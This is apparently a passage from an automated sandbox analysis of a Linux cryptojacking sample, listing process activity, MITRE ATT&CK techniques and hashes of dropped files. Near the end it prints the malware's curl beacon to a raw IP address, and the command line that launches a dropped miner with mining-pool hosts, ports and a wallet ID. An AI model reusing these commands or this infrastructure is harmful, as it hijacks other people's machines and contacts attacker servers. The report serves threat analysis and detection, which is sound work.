  tr "\\0" "\\n"
  2⤵
  PID:1202
- /usr/bin/head
  head -1
  2⤵
  PID:1206
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1205
- /usr/bin/head
  head -1
  2⤵
  PID:1209
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1208
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1211
- /usr/bin/head
  head -1
  2⤵
  PID:1212
- /usr/bin/head
  head -1
  2⤵
  PID:1215
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1214
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1217
- /usr/bin/head
  head -1
  2⤵
  PID:1218
- /usr/bin/head
  head -1
  2⤵
  PID:1221
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1220
- /usr/bin/head
  head -1
  2⤵
  PID:1224
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1223
- /usr/bin/head
  head -1
  2⤵
  PID:1227
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1226
- /usr/bin/head
  head -1
  2⤵
  PID:1230
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1229
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1232
- /usr/bin/head
  head -1
  2⤵
  PID:1233
- /usr/bin/head
  head -1
  2⤵
  PID:1236
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1235
- /usr/bin/head
  head -1
  2⤵
  PID:1239
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1238
- /usr/bin/head
  head -1
  2⤵
  PID:1242
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1241
- /usr/bin/head
  head -1
  2⤵
  PID:1245
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1244
- /usr/bin/head
  head -1
  2⤵
  PID:1248
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1247
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1250
- /usr/bin/head
  head -1
  2⤵
  PID:1251
- /usr/bin/head
  head -1
  2⤵
  PID:1254
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1253
- /usr/bin/head
  head -1
  2⤵
  PID:1257
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1256
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1259
- /usr/bin/head
  head -1
  2⤵
  PID:1260
- /usr/bin/head
  head -1
  2⤵
  PID:1263
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1262
- /usr/bin/head
  head -1
  2⤵
  PID:1266
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1265
- /usr/bin/head
  head -1
  2⤵
  PID:1269
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1268
- /usr/bin/head
  head -1
  2⤵
  PID:1272
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1271
- /usr/bin/head
  head -1
  2⤵
  PID:1275
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1274
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1277
- /usr/bin/head
  head -1
  2⤵
  PID:1278
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1280
- /usr/bin/head
  head -1
  2⤵
  PID:1281
- /usr/bin/head
  head -1
  2⤵
  PID:1284
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1283
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1286
- /usr/bin/head
  head -1
  2⤵
  PID:1287
- /usr/bin/head
  head -1
  2⤵
  PID:1290
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1289
- /usr/bin/head
  head -1
  2⤵
  PID:1293
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1292
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1295
- /usr/bin/head
  head -1
  2⤵
  PID:1296
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1298
- /usr/bin/head
  head -1
  2⤵
  PID:1299
- /usr/bin/head
  head -1
  2⤵
  PID:1302
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1301
- /usr/bin/head
  head -1
  2⤵
  PID:1305
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1304
- /usr/bin/head
  head -1
  2⤵
  PID:1308
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1307
- /usr/bin/head
  head -1
  2⤵
  PID:1311
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1310
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1313
- /usr/bin/head
  head -1
  2⤵
  PID:1314
- /usr/bin/head
  head -1
  2⤵
  PID:1317
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1316
- /usr/bin/head
  head -1
  2⤵
  PID:1320
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1319
- /usr/bin/head
  head -1
  2⤵
  PID:1323
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1322
- /usr/bin/head
  head -1
  2⤵
  PID:1326
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1325
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1328
- /usr/bin/head
  head -1
  2⤵
  PID:1329
- /usr/bin/head
  head -1
  2⤵
  PID:1332
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1331
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1334
- /usr/bin/head
  head -1
  2⤵
  PID:1335
- /usr/bin/head
  head -1
  2⤵
  PID:1338
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1337
- /usr/bin/head
  head -1
  2⤵
  PID:1341
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1340
- /usr/bin/head
  head -1
  2⤵
  PID:1344
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1343
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1346
- /usr/bin/head
  head -1
  2⤵
  PID:1347
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1349
- /usr/bin/head
  head -1
  2⤵
  PID:1350
- /usr/bin/head
  head -1
  2⤵
  PID:1353
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1352
- /usr/bin/head
  head -1
  2⤵
  PID:1356
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1355
- /usr/bin/head
  head -1
  2⤵
  PID:1359
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1358
- /usr/bin/head
  head -1
  2⤵
  PID:1362
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1361
- /usr/bin/head
  head -1
  2⤵
  PID:1365
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1364
- /usr/bin/head
  head -1
  2⤵
  PID:1368
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1367
- /bin/date
  date "+%m-%d %H:%M:%S"
  2⤵
  PID:1369
- /usr/bin/tr
  tr -c A-Za-z0-9._- _
  2⤵
  PID:1372
- /bin/hostname
  hostname
  2⤵
  PID:1371
- /bin/date
  date "+%s"
  2⤵
  PID:1373
- /usr/bin/curl
  curl -fsS -m 6 -A curl/7.0 "http://166.0.100.70/s?rk8=st&h=debian9-armhf-20260513-en-14_&s=down&t=1793104674"
  2⤵
  - Checks CPU configuration
  PID:1375

/usr/bin/setsid
setsid /tmp/xkv -o auto.c3pool.org:443 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:13333 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:19999 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:80 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:23333 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o 166.0.100.70:80 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k "--algo=rx/0" -t 1 -r 2 --no-color "--donate-level=1"
1⤵
- Executes dropped EXE
PID:1167

/tmp/xkv
/tmp/xkv -o auto.c3pool.org:443 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:13333 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:19999 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:80 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:23333 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o 166.0.100.70:80 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k "--algo=rx/0" -t 1 -r 2 --no-color "--donate-level=1"
1⤵
PID:1167

/bin/sh
/bin/sh /tmp/xkv -o auto.c3pool.org:443 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:13333 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:19999 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:80 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:23333 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o 166.0.100.70:80 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k "--algo=rx/0" -t 1 -r 2 --no-color "--donate-level=1"
1⤵
- Writes file to tmp directory
PID:1167

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

zm2

Path /etc/cron.d/zm2
Size 52B
SHA256 a3493d0dfdd66579fac24db0a939c4603267d20895f2d6d4abbf7b251afee844
MD5 ab385a61cc5a9fba064513e931c94ad9
SHA1 5307dae5527a08f81b666e12fb5d44dbaccee8d4
SHA512 e936cc8a418b779f5b27b533a852e0999ed745c5087151e187dd7b96725c81054422fd5a8f932c095ecfe401ea78a5e67156597b8f74afdbfed8c1cc233fdfb3
TLSH
T1FB9002B270554A152114DC7C6116008A849355510454254144CDC474861D31F9101AD0
MD5 SHA1 SHA512 TLSH

Submit Download

.xkv.gz

Path /tmp/.xkv.gz
Size 3.3MB
SHA256 c42d078e9d81de5489bfbe9c906a21d0b05d6ac21c8f09d530464ce14cff4805
MD5 a459c58c4575b0ad65b97a9a08d1378d
SHA1 3d52c5ae203f4f5dd97e7e8b319aa43ca84b9551
SHA512 5d72ef74c4965086843f272d7e08fe69ef69caf0bb04e2d49739918cba633fb1d9cd82e15da677b42d6b1bf9af6f239667819a8b725f401a2dcc407442b0b493
SSDEEP 98304:U+Vi9T0+WjPTKmypQBpmePy8S1jdtFdqZsNMhi:NVi9oDLWQBkAyZDdqZw
TLSH
T178F5337C39F05E61969E89DE47538A1914AC8C1D1B9F71B3810F22DC4E6C3B70ADE72A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.zm2.sh

Path /tmp/.zm2.sh
Size 1KB
SHA256 d2754e244dd556bb2fa799d1c8533962562ec4127307aaf377ea577cd27bba12
MD5 5755aa7c3fcbca198d2369d3527221d6
SHA1 8969696caa758737abe1e626a647de8c3dec33af
SHA512 86d77f8e0689e4713bc583e42979f7f1186a1feb0c02542b0e742ad81f148a2f478d18c6dee9468499a988cdcc0e5ee8c2ebd1c33d0ca84de88867603870a035
TLSH
T1473166F8EDF24DF179648E04B83A4B26D45E75275C373EA0B1D114212D4CC93EEAE192
MD5 SHA1 SHA512 TLSH

Submit Download

xkv

Path /tmp/xkv
Size 8.0MB
SHA256 1e20bc257f7c637a95f935d613d9a9c17eede935f3ed96c1edd8c96c1cf6403e
MD5 a9c640efaae0101d2770b079feb05dd5
SHA1 5939a9b617d482a80c818fa694a7a0e8e1bfa5ca
SHA512 d783150905c608070c2682280f0fcc2987eebd2c18538da0d092da51c07688ebee44da61f56b7deec22c92f2590f6bd4ec5a9777562232524e4ebd677915322e
SSDEEP 98304:YSKSi/FM70AF/Auk3zX0H6aguAcFZqKjjMRPEkLqm7XyGkNA4xT0+x2gGYwZsVZf:ssQLqmjsxymsONkEZqIzolQdoG
TLSH
T127865B47B6E318FDC19AC470472FD663BD70B8984221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads